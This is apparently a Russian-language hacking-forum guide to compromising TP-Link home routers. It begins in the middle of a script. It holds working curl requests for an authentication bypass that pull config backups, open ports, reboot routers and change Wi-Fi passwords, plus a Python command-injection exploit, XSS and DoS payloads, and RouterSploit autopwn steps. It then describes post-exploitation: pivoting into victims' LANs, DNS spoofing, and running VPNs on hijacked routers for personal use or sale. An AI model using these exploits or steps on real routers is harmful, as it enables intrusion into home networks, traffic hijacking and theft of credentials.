class=token>printclass=token>(class=token>'Not Vulnerable'class=token>)style='font-size:8.0pt;font-family:Consolas;color:black'>
exitclass=token>()style='font-size:8.0pt;font-family:Consolas;color:black'>
elsestyle='font-size:8.0pt;font-family:Consolas;color:#999999'>:style='font-size:8.0pt;font-family:Consolas;color:black'>
class=token>printclass=token>(class=token>"Please choose the correct option.\nExiting..."class=token>)style='font-size:8.0pt;font-family:Consolas;color:black'>
exitclass=token>()style='font-size:8.0pt;font-family:Consolas;color:black'>
TP-Link TL-WR840N/TL-WR841N - Authenticaton Bypass
TP-Link TL-WR840N и TL-WR841N - это два различных модели беспроводных маршрутизаторов от компании TP-Link. Оба устройства предназначены для создания беспроводной сети и обеспечения доступа к интернету для устройств в доме или офисе.
Эта проблема вызвана неправильной обработкой сеанса в папке /cgi/ или /cgi.
файл, найденный Тухидом Шейхом (членом команды BlackFog).
Если какой-либо злоумышленник отправляет Referer Header со своим запросом и устанавливает Referer:
http://192.168.0.1/mainFrame.htm, аутентификация не требуется и
злоумышленник может выполнять действия маршрутизатора без аутентификации.
Список команд для изменения настроек роутера без авторизации:
Код:
Evil Actions Without Authentication example.style='font-size:8.0pt;color:#222222'>
============== Burp Request and curl command for conf.bin or backup file
=================
####### Burp ########
GET /cgi/conf.bin HTTP/1.1
Host: 192.168.0.1
User-Agent: Agent22
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.1/mainFrame.htm
Connection: close
Upgrade-Insecure-Requests: 1
-------Response--------
HTTP/1.1 200 OK
Content-Type: application/octet-stream; charset=utf-8
Content-Length: 5720
Connection: close
w@\AAb AaLA1/2AaA-Aa!AEa1A>>aAA!,*-A h[Aa1A3lAa!AA.A(c)-
.....SKIP.......
8/i?1/2i?1/2i?1/2i?1/2W
######## Curl ##########
curl -i -s -k -X $'GET' -H $'Host: 192.168.0.1' -H $'User-Agent:
Agent22' -H $'Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H
$'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H
$'Referer: http://192.168.0.1/mainFrame.htm' -H $'Connection: close' $'
http://192.168.0.1/cgi/conf.bin' > backup.bin
------ take a look in backup.bin file --------
===========================================
=========== Add Port Forwarding ============
curl -i -s -k -X POST -H "Host: 192.168.0.1" -H "User-Agent:
Mozilla/Agent22" -H 'Accept: */*' -H "Referer:
http://192.168.0.1/mainFrame.htm" --data-binary
$'[IP_CONN_PORTTRIGGERING#0,0,0,0,0,0#1,1,2,0,0,0]0,5\x0d\x0atriggerPort=23\x0d\x0atriggerProtocol=TCP
or UDP\x0d\x0aopenProtocol=TCP or
UDP\x0d\x0aenable=1\x0d\x0aopenPort=23\x0d\x0a' http://192.168.0.1/cgi?3
HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
[1,1,2,7,0,0]0
triggerPort=23
triggerProtocol=TCP or UDP
openProtocol=TCP or UDP
enable=1
openPort=23
[error]0
----- Decription -----
enable=0 is for disable
enable=1 is for enable
u can change port also.
====================================
=========== Reboot Router =========================
curl -i -s -k -X POST -H "Host: 192.168.0.1" -H "User-Agent:
Mozilla/Agent22" -H 'Accept: */*' -H "Referer:
http://192.168.0.1/mainFrame.htm" --data-binary
$'[ACT_REBOOT#0,0,0,0,0,0#0,0,0,0,0,0]0,0\x0d\x0a' http://192.168.0.1/cgi?7
HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
[error]0
----Description -----
error = 0 means reboot seccessully
======================================
============= Enable Guest Network ==========================
curl -i -s -k -X $'POST' -H $'Host: 192.168.0.1' -H $'User-Agent: Aent22'
-H $'Accept: */*' -H $'Accept-Language: en-US,en;q=0.5' -H
$'Accept-Encoding: gzip, deflate' -H $'Content-Type: text/plain' -H
$'Referer: http://192.168.0.1/mainFrame.htm' -H $'Content-Length: 844' -H
$'Connection: close' --data-binary
$'[LAN_WLAN_MULTISSID#1,1,0,0,0,0#0,0,0,0,0,0]0,1\x0d\x0amultiSSIDEnable=1\x0d\x0a[LAN_WLAN_MSSIDENTRY#1,1,1,0,0,0#0,0,0,0,0,0]1,11\x0d\x0aIsolateClients=0\x0d\x0aEnable=1\x0d\x0aSSID=Agent22\x0d\x0aBeaconType=WPAand11i\x0d\x0aWPAAuthenticationMode=PSKAuthentication\x0d\x0aWPAEncryptionModes=TKIPandAESEncryption\x0d\x0aIEEE11iAuthenticationMode=PSKAuthentication\x0d\x0aIEEE11iEncryptionModes=TKIPandAESEncryption\x0d\x0aPreSharedKey=9876543210\x0d\x0aGroupKeyUpdateInterval=0\x0d\x0aMaxStaNum=32\x0d\x0a[LAN_WLAN_MSSIDENTRY#1,2,1,0,0,0#0,0,0,0,0,0]2,1\x0d\x0aIsolateClients=0\x0d\x0a[LAN_WLAN_GUESTNET#1,1,0,0,0,0#0,0,0,0,0,0]3,8\x0d\x0aLANAccessEnable=1\x0d\x0aUSBAccessEnable=0\x0d\x0aTCEnable=0\x0d\x0aTCMinUpBW=100\x0d\x0aTCMaxUpBW=200\x0d\x0aTCMinDownBW=100\x0d\x0aTCMaxDownBW=200\x0d\x0alastModified=1\x0d\x0a[LAN_WLAN_GUESTNET#1,2,0,0,0,0#0,0,0,0,0,0]4,8\x0d\x0aLANAccessEnable=1\x0d\x0aUSBAccessEnable=0\x0d\x0aTCEnable=0\x0d\x0aTCMinUpBW=100\x0d\x0aTCMaxUpBW=200\x0d\x0aTCMinDownBW=100\x0d\x0aTCMaxDownBW=200\x0d\x0alastModified=0\x0d\x0a'
$'http://192.168.0.1/cgi?2&2&2&2&2'
------- Description ----------
SSID=Agent22
PreSharedKey=9876543210
=============================================
======= DMZ enable and Disable on 192.168.0.112 ===========
curl -i -s -k -X $'POST' -H $'Host: 192.168.0.1' -H $'User-Agent:
Agent22' -H $'Referer: http://192.168.0.1/mainFrame.htm' -H
$'Content-Length: 78' -H $'Connection: close' --data-binary
$'[DMZ_HOST_CFG#0,0,0,0,0,0#0,0,0,0,0,0]0,2\x0d\x0aenable=1\x0d\x0aIPAddress=192.168.0.112\x0d\x0a'
$'http://192.168.0.1/cgi?2'
HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
Transfer-Encoding: chunked
Connection: close
[error]0
-------Description -----------
IPAddress=192.168.0.112
enable=1 or 0 (enable or disable)
=================================================
=============== WiFi Password Change =============
curl -i -s -k -X $'POST' -H $'Host: 192.168.0.1' -H $'User-Agent:
Agent22' -H $'Accept-Encoding: gzip, deflate' -H $'Content-Type:
text/plain' -H $'Referer: http://192.168.0.1/mainFrame.htm' -H
$'Content-Length: 199' -H $'Connection: close' --data-binary
$'[LAN_WLAN#1,1,0,0,0,0#0,0,0,0,0,0]0,5\x0d\x0aBeaconType=11i\x0d\x0aIEEE11iAuthenticationMode=PSKAuthentication\x0d\x0aIEEE11iEncryptionModes=AESEncryption\x0d\x0aX_TP_PreSharedKey=9876543210\x0d\x0aX_TP_GroupKeyUpdateInterval=0\x0d\x0a'
$'http://192.168.0.1/cgi?2'
-------Description -----------
IEEE11iAuthenticationMode=PSKAuthentication
IEEE11iEncryptionModes=AESEncryption
X_TP_PreSharedKey=9876543210
===============================style='font-size:8.0pt;color:#111111'>
Список устройств уязвимых к Command Injection
TP-Link TL-WR841N - Command InjectionTP-Link TL-WR841N - это беспроводной маршрутизатор, предназначенный для домашнего использования и небольших офисов. Он предоставляет базовые функции маршрутизации и беспроводного доступа к интернету, что делает его популярным выбором для пользователей, которые ищут надежное и простое в использовании устройство.
Работа эксплоита заключается во внедрения системной полезной нагрузки через веб панель.
HTML:
importstyle='font-size:8.0pt;font-family:Consolas;color:black'> requests
import sys
import time
trystyle='font-size:8.0pt;font-family:Consolas;color:#999999'>:style='font-size:8.0pt;font-family:Consolas;color:black'>
_ class=token>=style='font-size:8.0pt;font-family:Consolas;color:black'> sysclass=token>.style='font-size:8.0pt;font-family:Consolas;color:black'>argvclass=token>[class=token>2class=token>]style='font-size:8.0pt;font-family:Consolas;color:black'>
payload class=token>=style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>' 'class=token>.style='font-size:8.0pt;font-family:Consolas;color:black'>joinclass=token>(style='font-size:8.0pt;font-family:Consolas;color:black'>sysclass=token>.style='font-size:8.0pt;font-family:Consolas;color:black'>argvclass=token>[class=token>1class=token>:])style='font-size:8.0pt;font-family:Consolas;color:black'>
except IndexErrorstyle='font-size:8.0pt;font-family:Consolas;color:#999999'>:style='font-size:8.0pt;font-family:Consolas;color:black'>
class=token>tryclass=token>:style='font-size:8.0pt;font-family:Consolas;color:black'>
payload class=token>=style='font-size:8.0pt;font-family:Consolas;color:black'> sysclass=token>.style='font-size:8.0pt;font-family:Consolas;color:black'>argvclass=token>[class=token>1class=token>]style='font-size:8.0pt;font-family:Consolas;color:black'>
class=token>exceptstyle='font-size:8.0pt;font-family:Consolas;color:black'> IndexErrorclass=token>:style='font-size:8.0pt;font-family:Consolas;color:black'>
class=token>printclass=token>(class=token>"[*] Command not specified, using the default `cat etc/passwd=`"class=token>)style='font-size:8.0pt;font-family:Consolas;color:black'>
payload class=token>=style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'cat etc/passwd'style='font-size:8.0pt;font-family:Consolas;color:black'>
# Default credentials is admin:admin - replace with your ownstyle='font-size:8.0pt;font-family:Consolas;color:black'>
cookies =style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>{style='font-size:8.0pt;font-family:Consolas;color:black'>
class=token>'Authorization'class=token>:style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'Basic YWRtaW46YWRtaW4='style='font-size:8.0pt;font-family:Consolas;color:black'>
}
headers =style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>{style='font-size:8.0pt;font-family:Consolas;color:black'>
class=token>'Host'class=token>:style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'192.168.0.1'class=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>
class=token>'User-Agent'class=token>:style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko=/20100101 Firefox/84.0'class=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>
class=token>'Accept'class=token>:style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'*/*'class=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>
class=token>'Accept-Language'class=token>:style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'en-US,en;q=0.5'class=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>
class=token>'Accept-Encoding'class=token>:style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'gzip, deflate'class=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>
class=token>'Content-Type'class=token>:style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'text/plain'class=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>
class=token>'Content-Length'class=token>:style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'197'class=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>
class=token>'Origin'class=token>:style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'http://192.168.0.1'class=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>
class=token>'Connection'class=token>:style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'close'class=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>
class=token>'Referer'class=token>:style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'http://192.168.0.1/mainFrame.htm'class=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>
}
data1 =style='font-size:8.0pt;font-family:Consolas;color:black'> \
'''[TRACEROUTE_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,8\r\nmaxHopCount=20\r\ntimeout=50\r\nnumberOfTries=1\r\nhost="`{}`"\r\ndataBlockSize=64\r\nX_TP_ConnName=ewan_ipoe_d\r\ndiagnosticsState=Requested\r\nX_TP_HopSeq=0\r\n'''class=token>.class=token>formatclass=token>(style='font-size:8.0pt;font-family:Consolas;color:black'>payloadclass=token>)style='font-size:8.0pt;font-family:Consolas;color:black'>
response1 =style='font-size:8.0pt;font-family:Consolas;color:black'> requestsclass=token>.style='font-size:8.0pt;font-family:Consolas;color:black'>postclass=token>(class=token>'http://192.168.0.1/cgi?2'class=token>,style='font-size:8.0pt;font-family:Consolas;color:black'> headersclass=token>=style='font-size:8.0pt;font-family:Consolas;color:black'>headersclass=token>,style='font-size:8.0pt;font-family:Consolas;color:black'> cookiesclass=token>=style='font-size:8.0pt;font-family:Consolas;color:black'>cookiesclass=token>,style='font-size:8.0pt;font-family:Consolas;color:black'> dataclass=token>=style='font-size:8.0pt;font-family:Consolas;color:black'>data1class=token>,style='font-size:8.0pt;font-family:Consolas;color:black'> verifyclass=token>=class=token>Falseclass=token>)style='font-size:8.0pt;font-family:Consolas;color:black'>
printstyle='font-size:8.0pt;font-family:Consolas;color:#999999'>(class=token>'[+] Sending payload...'class=token>)style='font-size:8.0pt;font-family:Consolas;color:black'>
class=token>tryclass=token>:style='font-size:8.0pt;font-family:Consolas;color:black'>
response1class=token>.style='font-size:8.0pt;font-family:Consolas;color:black'>textclass=token>.style='font-size:8.0pt;font-family:Consolas;color:black'>splitlinesclass=token>()[class=token>0class=token>]style='font-size:8.0pt;font-family:Consolas;color:black'>
except IndexErrorstyle='font-size:8.0pt;font-family:Consolas;color:#999999'>:style='font-size:8.0pt;font-family:Consolas;color:black'>
sysclass=token>.style='font-size:8.0pt;font-family:Consolas;color:black'>exitclass=token>(class=token>'[-] Cannot get response. Please check your cookie.'class=token>)style='font-size:8.0pt;font-family:Consolas;color:black'>
if response1style='font-size:8.0pt;font-family:Consolas;color:#999999'>.style='font-size:8.0pt;font-family:Consolas;color:black'>textclass=token>.style='font-size:8.0pt;font-family:Consolas;color:black'>splitlinesclass=token>()[class=token>0class=token>]style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>!=style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'[error]0'class=token>:style='font-size:8.0pt;font-family:Consolas;color:black'>
sysclass=token>.style='font-size:8.0pt;font-family:Consolas;color:black'>exitclass=token>(class=token>'[*] Router/Firmware is not vulnerable.'class=token>)style='font-size:8.0pt;font-family:Consolas;color:black'>
style='font-size:8.0pt;font-family:Consolas;color:black'>data2 class=token>=style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'[ACT_OP_TRACERT#0,0,0,0,0,0#0,0,0,0,0,0]0,0\r\n'style='font-size:8.0pt;font-family:Consolas;color:black'>
response2 =style='font-size:8.0pt;font-family:Consolas;color:black'> requestsclass=token>.style='font-size:8.0pt;font-family:Consolas;color:black'>postclass=token>(class=token>'http://192.168.0.1/cgi?7'class=token>,style='font-size:8.0pt;font-family:Consolas;color:black'> headersclass=token>=style='font-size:8.0pt;font-family:Consolas;color:black'>headersclass=token>,style='font-size:8.0pt;font-family:Consolas;color:black'> cookiesclass=token>=style='font-size:8.0pt;font-family:Consolas;color:black'>cookiesclass=token>,style='font-size:8.0pt;font-family:Consolas;color:black'> dataclass=token>=style='font-size:8.0pt;font-family:Consolas;color:black'>data2class=token>,style='font-size:8.0pt;font-family:Consolas;color:black'> verifyclass=token>=class=token>Falseclass=token>)style='font-size:8.0pt;font-family:Consolas;color:black'>
printstyle='font-size:8.0pt;font-family:Consolas;color:#999999'>(class=token>'[+] Receiving response from router...'class=token>)style='font-size:8.0pt;font-family:Consolas;color:black'>
time.style='font-size:8.0pt;font-family:Consolas;color:black'>sleepclass=token>(class=token>0.8class=token>)style='font-size:8.0pt;font-family:Consolas;color:black'> class=token># Buffer time for traceroute to succeedstyle='font-size:8.0pt;font-family:Consolas;color:black'>
data3 =style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'''[TRACEROUTE_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,3\r\ndiagnosticsState\r\nX_TP_HopSeq\r\nX_TP_Result\r\n'''style='font-size:8.0pt;font-family:Consolas;color:black'>
response3 =style='font-size:8.0pt;font-family:Consolas;color:black'> requestsclass=token>.style='font-size:8.0pt;font-family:Consolas;color:black'>postclass=token>(class=token>'http://192.168.0.1/cgi?1'class=token>,style='font-size:8.0pt;font-family:Consolas;color:black'> headersclass=token>=style='font-size:8.0pt;font-family:Consolas;color:black'>headersclass=token>,style='font-size:8.0pt;font-family:Consolas;color:black'> cookiesclass=token>=style='font-size:8.0pt;font-family:Consolas;color:black'>cookiesclass=token>,style='font-size:8.0pt;font-family:Consolas;color:black'> dataclass=token>=style='font-size:8.0pt;font-family:Consolas;color:black'>data3class=token>,style='font-size:8.0pt;font-family:Consolas;color:black'> verifyclass=token>=class=token>Falseclass=token>)style='font-size:8.0pt;font-family:Consolas;color:black'>
class=token>ifstyle='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'=:'style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>instyle='font-size:8.0pt;font-family:Consolas;color:black'> response3class=token>.style='font-size:8.0pt;font-family:Consolas;color:black'>textclass=token>.style='font-size:8.0pt;font-family:Consolas;color:black'>splitlinesclass=token>()[class=token>3class=token>]:style='font-size:8.0pt;font-family:Consolas;color:black'>
class=token>printclass=token>(class=token>'[-] Command not supported.'class=token>)style='font-size:8.0pt;font-family:Consolas;color:black'>
elsestyle='font-size:8.0pt;font-family:Consolas;color:#999999'>:style='font-size:8.0pt;font-family:Consolas;color:black'>
class=token>printclass=token>(class=token>'[+] Exploit successful!'class=token>)style='font-size:8.0pt;font-family:Consolas;color:black'>
class=token>forstyle='font-size:8.0pt;font-family:Consolas;color:black'> line_numberclass=token>,style='font-size:8.0pt;font-family:Consolas;color:black'> line class=token>instyle='font-size:8.0pt;font-family:Consolas;color:black'> class=token>enumerateclass=token>(style='font-size:8.0pt;font-family:Consolas;color:black'>response3class=token>.style='font-size:8.0pt;font-family:Consolas;color:black'>textclass=token>.style='font-size:8.0pt;font-family:Consolas;color:black'>splitlinesclass=token>()):style='font-size:8.0pt;font-family:Consolas;color:black'>
class=token>tryclass=token>:style='font-size:8.0pt;font-family:Consolas;color:black'>
class=token>ifstyle='font-size:8.0pt;font-family:Consolas;color:black'> line_number class=token>==style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>3class=token>:style='font-size:8.0pt;font-family:Consolas;color:black'>
class=token>printclass=token>(style='font-size:8.0pt;font-family:Consolas;color:black'>lineclass=token>[class=token>12class=token>:])style='font-size:8.0pt;font-family:Consolas;color:black'>
class=token>ifstyle='font-size:8.0pt;font-family:Consolas;color:black'> line_number class=token>>style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>3style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>andstyle='font-size:8.0pt;font-family:Consolas;color:black'> line class=token>!=style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'[error]0'class=token>:style='font-size:8.0pt;font-family:Consolas;color:black'>
class=token>printclass=token>(style='font-size:8.0pt;font-family:Consolas;color:black'>lineclass=token>)style='font-size:8.0pt;font-family:Consolas;color:black'>
class=token>ifstyle='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'not known'style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>instyle='font-size:8.0pt;font-family:Consolas;color:black'> lineclass=token>:style='font-size:8.0pt;font-family:Consolas;color:black'>
class=token>breakstyle='font-size:8.0pt;font-family:Consolas;color:black'>
class=token>exceptstyle='font-size:8.0pt;font-family:Consolas;color:black'> IndexErrorclass=token>:style='font-size:8.0pt;font-family:Consolas;color:black'>
class=token>breakstyle='font-size:8.0pt;font-family:Consolas;color:black'>
TP-Link TL-WR740N v4 Router (FW-Ver. 3.16.6 Build 130529 Rel.47286n) - Command Execution
TP-Link TL-WR740N v4 - это беспроводной маршрутизатор, который обеспечивает базовые функции для создания беспроводной сети и обеспечения доступа к интернету. Он предназначен для использования в домашних условиях и небольших офисах, где требуется надежное беспроводное соединение.
Параметры доменного имени «Родительский контроль» и «Доступ Управление» TP-Link TL-WR740N v4 (FW-Ver. 3.16.6 Build 130529 Rel.47286n) маршрутизаторы склонны к выполнению произвольных команд оболочки как root для пользователей, прошедших проверку подлинности в веб-интерфейсе.
Каждая полезная нагрузка оболочки ограничена 28 байтами. «Родительский контроль» функция позволяет указать 8 доменов (= 8 команд), поэтому у вас есть 8 x 28 = 244 байта команд оболочки.
Этого достаточно для пост-загрузки и выполнить сценарий оболочки произвольной длины с tftp-сервера.
Используя этот метод, можно получить полный контроль над устройством, когда после загрузки более мощного бинарного MIPS-файла busybox и выполнения telnetd или используя netcat для обратного подключения.
Скачать exploit: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/34254.7z(Password: TP-P0wned-Link) запускайте на виртуалке!
Options:
/a Use Access Control Exploit
/p Use Parental Control Exploit
[RouterIp] IP of the target to attack (default 192.168.0.1)
[Username] Username of the Webinterface Login (default admin)
[Password] Username of the Webinterface Login (default admin)
[TFTPServer] TFTP Host where the 'a' shell file is hosted for execution
Example: ParentalControlExploit.exe /a 192.168.0.1 admin admin 192.168.0.100
Список устройств уязвимых к Cross-Site Scripting
TP-Link wireless router Archer C1200 - Cross-Site Scripting[+] Unauthenticated
[+] Author: Usman Saeed (usman [at] xc0re.net)
[+] Affected Version: Firmware version: 1.13 Build 2018/01/24 rel.52299 EU
[·] Impact: Client side attacks are very common and are the source of maximum number of user compromises. With this attack, the threat actor can steal cookies, redirect an innocent victim to a malicious website, thus compromising the user.
[·] Reason: The remote webserver does not filter special characters or illegal input.
[+] Attack type: Remote
[+] Patch Status: Unpatched
[+] Exploitation:
[!] The Cross-site scripting vector can be executed, as illustrated below
http://hostname/webpages/data/_._.<img src=a onerror=alert(“Reflected-XSS”)>../..%2fTP-Link TL-WR740N - Cross-Site Scripting
- Перейдите к IP-адресу вашего беспроводного маршрутизатора (например, 192.168.0.1).
- Перейдите на вкладку «Беспроводная сеть» и «Беспроводная фильтрация MAC-адресов».
- Нажмите кнопку «Добавить новую».
- Запишите случайный MAC-адрес и в -Description- напишите (<h1>XSS </h1>)
- Нажмите «Сохранить», и вы увидите XSS на вкладке «Беспроводная фильтрация MAC-адресов».
TP-Link TL-MR3220 - Cross-Site Scripting
- Сначала в перейдите к ( http://IP:PORT/ )
- На вкладке «Беспроводная фильтрация MAC-адресов».
- Добавьте новый MAC-адрес.
- В «Описание» поместите скрипт ( <script>alert('XSS')</script> ) и завершите регистрацию.
Список устройств уязвимых к DoS атаке
TP-Link Archer C50 3 - Denial of Service (PoC)
TP-Link Archer C50 3 - Denial of Service (PoC)
TP-Link Archer C50 3 - Denial of Service (PoC). CVE-2020-9375 . dos exploit for Hardware platform
TP-Link TL-WR840N - Denial of Service
1- Сначала подключитесь к этой сети
2- Откройте терминал => И введите «macof -i eth0 -n 10
3- Нажмите Enter
4- Вы увидите, что ваше сетевое соединение будет потеряно.
TP-Link TL-WR740N Wireless Router - Denial of Service
Bash:
$ip="$ARGV[0]"; $port="$ARGV[1]";
print "\n\n\x20"."\x1f"x42 ."\n";
print "\x20\x1f"."\x20"x40 ."\x1f\n";
print "\x20\x1f TP-Link TL-WR740N httpd DoS Exploit \x1f\n";
print "\x20\x1f"."\x20"x40 ."\x1f\n";
print "\x20\x1f"."\x20"x7 ."\x16"x5 ."\x20"x15 ."\x16"x5 ."\x20"x8 ."\x1f\n";
print "\x20\x1f"."\x20"x9 ."\x16"."\x20"x19 ."\x16"."\x20"x10 ."\x1f\n";
print "\x20" ."\x1f"x42 ."\n";
print "\x20\x4" ."\x20"x40 ."\x4\n";
print "\x20" ."\x1e" x 42 ."\n";
if($#ARGV<1)
{
print "\n\n\x20\x20\x1a\x20Usage: $0 <ip> <port>\n\n";
exit();
}
$socket=IO::Socket::INET->new(
Proto => "tcp",
PeerAddr => $ip,
PeerPort => $port
);
$ta4ke="\x47\x45\x54\x20".
"\x2f\x2e\x2e\x2e".
"\x20\x48\x54\x54".
"\x50\x2f\x31\x2e".
"\x31\x0d\x0a\x0d".
"\x0a";
print "\n\x20\x1a\x20Sending evil payload...\n"; sleep 2;
print $socket "$ta4ke"; sleep 5; close $socket;
print "\x20\x1a\x20HTTPd successfully poked.\n"; sleep 2;
print "\x20\x1a\x20Verifying with Nmap...\n"; sleep 2;
system("nmap -Pn $ip -p $port");
print "\n\x20\x1a\x20Playing goa-psy...\n"; sleep 2;
system("start C:\\Progra~1\\Winamp\\winamp.exe http://scfire-ntc-aa01.stream.aol.com:80/stream/1008");
sleep 1; print "\x20\x1a\x20All Done!\n"; sleep 1;
RouterSploit:
Также хочу показать вам пример эксплуатации уязвимостей оборудования TP-Link с помощью инструмента RouterSploit.
Инструмент по дефолту установлен в Kali Linux, для использованиязапустите в консоли команду sudo routersploit
Выберем модель для проверки уязвимостей в роутер:
use scanners/autopwnДобавим цель для сканирования:
set target <IP>Запускаем модуль командой
run
После проверки инструмент выдаст нам путь к эксплоитам с которыми мы можем работать, выбрав их командой use <путь к эксплоиту>
Постэксплуатация
Проникаем в удаленную локальную сеть
На многих моделях роутеров TP-Link, есть возможность поднимать VPN сервер (PPTP и OVPN). Вот список самых популярных моделей на которых можно поднять VPN:Проникаем в удаленную локальную сеть
- TP-Link Archer C7
- TP-Link Archer C9
- TP-Link Archer C3150
- TP-Link Archer C5400
- TP-Link Archer C5400X
- TP-Link Archer C2300
- TP-Link Archer AX6000
- TP-Link TL-R600VPN
Для проведения этого этапа pivoting-a (закрепления в сети) нам нужно выполнить определенные действия в веб панели администрирования роутера:
- Зайдите в административную панель роутера, открыв веб-браузер и введите IP-адрес шлюза, который можно найти в разделе Advanced/LAN.
- Перейдите в раздел настройки DHCP и ограничьте пул IP-адресов до нужного диапазона, например, 192.168.0.199
- Зайдите в раздел настройки VPN сервера и создайте новое VPN-соединение в подсети, где находятся устройства, с которыми вы хотите работать. Укажите IP-адрес после ограниченного диапазона адресов, например, 192.168.0.220.
- Сохраните настройки и запустите VPN-сервер. Подключитесь к VPN с использованием соответствующего клиента на вашем устройстве.
В случае с PPTP, мы подключаемся с системы VPN/добавить новое подключение, в настройках подключения указываем протокол PPTP, IP роутера и Логин/пасс который мы указали при настройке VPN сервера.
После подключения нам надо проверить какая подсеть в нашего VPN, открываем консоль и пишем ipconfig(Windows) или ifconfig (Linux).
Как мы видим – наш ip 10.10.15.245, это значит что подсеть 10.10.15.0/24
Просканируя подсеть мы увидим девайсы, теперь сеть в наших руках)
Проводим DNS Spoofing
DNS-спуфинг - это процесс изменения записей DNS (Domain Name System) с целью перенаправления пользователей на неверные или злоумышленные адреса.Сперва нам нужен дедик, его мы делаем как днс сервер и настраиваем редиректы.
После успешного входа в веб-панель маршрутизатора, найдите раздел, связанный с настройками сети или интернет-подключением. Название раздела может различаться в зависимости от модели маршрутизатора.
В этом разделе вы должны найти опцию "DNS" или "Настройки DNS". Нажмите на нее.
Здесь вы можете выбрать режим настройки DNS: "Автоматический" (обычно использует DNS-сервер вашего интернет-провайдера) или "Вручную".
Если вы хотите настроить DNS-сервера вручную, введите адрес своего DNS-сервера.
После внесения изменений, сохраните настройки.
Перезагрузите маршрутизатор, чтобы изменения вступили в силу.
После перезагрузки проверьте работу новых DNS-серверов, перейдя на веб-сайт, чтобы убедиться, что они правильно настроены.
Поднимаем VPN для личного использования
Эти впнки мы можем юзать лично для себя, либо для продаж. Самым удобным видом VPN будет OpenVPN, у него кроссплатформенный клиент и удобная система конфиг-файлов.Для поднятия OpenVPN сервера на устройстве:
1.Переходим в админ панель роутера
2.Переходим в раздел Advanced
3.Выбираем VPN\OpenVPN
4.Ставим галочку на Enable VPN Server и выбираем Service type TCP и Internet and Home Network
5.Сохраняем настройки и кликаем на generate certificate
6.Кнопкой export скачиваем готовый OpenVPN конфиг
Теперь этот конфиг файл мы сможем запускать с разных клиентов OpenVPN и работать с IP адреса роутера!
Для поднятия PPTP VPN сервера на устройстве:
1. Переходим в админ панель роутера
2. Переходим в раздел Advanced
3. Выбираем VPN\PPTP VPN
4. Ставим галочку на Enable VPN server
5. Выбираем количество клиентов (если VPN для личного использования, ставим 1-2)
6. Пишем логин/пароль для подключения к VPN
7.Нажимаем Save для сохранения настроек.
Теперь с помощью IP/Login/Pass мы сможем подключиться к этому VPN и заменить свой IP адрес на адрес роутера.
На винде с системы: VPN/добавить новое подключение, в настройках подключения указываем протокол PPTP, IP роутера и Логин/пасс который мы указали при настройке VPN сервера.
Получаем шелл
Тут я бы хотел рассказать об некоторых RCE которые можно использовать после удаленного подключения к роутеру.Также познакомимся с оболочкой BusyBox: BusyBox - это небольшой исполняемый файл, который комбинирует множество часто используемых утилит и командных оболочек в один пакет. Он предназначен для использования в встраиваемых системах, таких как роутеры, чтобы предоставить базовые команды и утилиты в ограниченных ресурсах.
Роутеры TP-Link, как и многие другие встроенные устройства, часто используют BusyBox для предоставления командной строки и базовых утилит. Это позволяет администраторам настраивать и управлять роутерами через командную строку или SSH.
Подключившись к роутеру по SSH мы автоматически попадаем в эту оболочку.
Некоторые основные возможности и команды Busybox:
- ls: Отображение содержимого каталога.
- cd: Смена текущего рабочего каталога.
- cp: Копирование файлов и каталогов.
- mv: Перемещение или переименование файлов и каталогов.
- rm: Удаление файлов и каталогов.
- mkdir: Создание каталогов.
- rmdir: Удаление пустых каталогов.
- cat: Вывод содержимого файла на экран.
- echo: Вывод текста на экран или в файл.
- grep: Поиск текста в файлах.
- sed: Потоковый редактор для обработки и фильтрации текста.
- awk: Программирование для обработки и анализа текста.
- ps: Отображение списка выполняющихся процессов.
- top: Мониторинг загрузки системы и процессов.
